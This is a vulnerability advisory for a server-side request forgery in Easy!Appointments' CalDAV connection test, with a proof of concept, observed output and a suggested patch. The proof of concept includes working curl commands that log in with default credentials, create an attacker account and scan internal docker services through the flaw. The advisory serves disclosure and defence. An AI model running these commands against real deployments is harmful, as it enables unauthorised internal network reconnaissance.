CVE-2026-52840: Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
Summary Caldav::connecttoserver at application/controllers/Caldav.php:60 hands the request's caldavurl to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network.
Published Jul 29, 2026 · Updated Nov 10, 2026
Affected packages
alextselegidis/easyappointments
- Ecosystem
- Composer (PHP)
- Affected
- <= 1.5.2
- Fixed in
- 1.6.1
- Check
composer show alextselegidis/easyappointments
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.
Preconditions
- Backend login on the target instance. Non-admin attackers supply their own
provider_idand pass the per-row check atCaldav.php:52; admins can target any row. - Default deployment per the project's own
docker-compose.yml, which putsmysql,mailpit,phpmyadmin,baikal,openldap,phpldapadmin, andswagger-uion the same docker network asphp-fpm.
Details
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
try {
$provider_id = request('provider_id');
$user_id = session('user_id');
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
$caldav_url = request('caldav_url'); // (*) attacker-controlled
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink
...
} catch (GuzzleException | InvalidArgumentException $e) {
json_response([
'success' => false,
'message' => $e->getMessage(), // (*) upstream body reflected
]);
}
}The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as `Client error: REPORT http://target/ resulted in a 405 Method Not Allowed response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Proof of concept
Setup
- Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done- Run the console installer. The seed sets administrator's password to the literal string
administrator(application/libraries/Instance.php:99):
docker compose exec -T php-fpm php index.php console install- Log in as
administrator(the project's session cookie isea_session) and create an attacker provider. The defaultrequire_phone_number=1setting makesphone_numbermandatory:
export ADMIN_JAR=/tmp/admin.cookies
curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=administrator" \
--data-urlencode "password=administrator" > /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode 'provider[first_name]=Mal' \
--data-urlencode 'provider[last_name]=Lory' \
--data-urlencode 'provider[email][email protected]' \
--data-urlencode 'provider[phone_number]=+10000000000' \
--data-urlencode 'provider[timezone]=UTC' \
--data-urlencode 'provider[language]=english' \
--data-urlencode 'provider[settings][username]=mallory' \
--data-urlencode 'provider[settings][password]=Attacker-pw-1' \
--data-urlencode 'provider[settings][notifications]=0'
export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
-e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")- Log in as the attacker into a dedicated cookie jar:
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/nullExploit
- The attacker probes the
nginxcontainer that fronts Easy!Appointments itself, hitting a 404 path. They pass their own$ATTACKER_IDso the row-ownership check atCaldav.php:52succeeds; the URL has nothing to do with the row:
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://nginx/some/404/path" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http:\/\/nginx\/some\/404\/path\/\ resulted in a \404 Not Found\ response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"} - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.
- The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:
for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
printf '\n=== %s ===\n' "$target"
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://$target/" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
doneObserved: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/\ resulted in a \405 Not Allowed\ response: <html>\r\n<head><title>405 Not Allowed</title>... - port open, HTTP, nginx fronts it. mailpit:8025 and phpmyadmin (port 80) return {"success":true} - port open, HTTP, the CalDAV REPORT was accepted without a 4xx. nonexistent.invalid returns cURL error 6: Could not resolve host. Each shape lets the attacker enumerate which internal services exist.
Impact
- Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the
php-fpmcontainer, including loopback, the docker network'smysql,mailpit,phpmyadmin,baikal,openldapservices, and any RFC1918 / link-local IP on the host network. - Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON
messagefield, enough to fingerprint internal services and read short error pages, banners, or status documents.
Suggestions to fix
_This has not been tested - it is illustrative only._
Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.
$caldav_url = request('caldav_url');
+
+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ throw new InvalidArgumentException('CalDAV URL is not allowed.');
+ }
+
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);Credit
Dredsen, 2026.
Credited to Dredsen, zuhairhalawa.
References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q
- https://nvd.nist.gov/vuln/detail/CVE-2026-52840
- https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510
- https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c
- https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9
- https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536
- https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0
- https://github.com/advisories/GHSA-pm5p-7w5h-jm5q
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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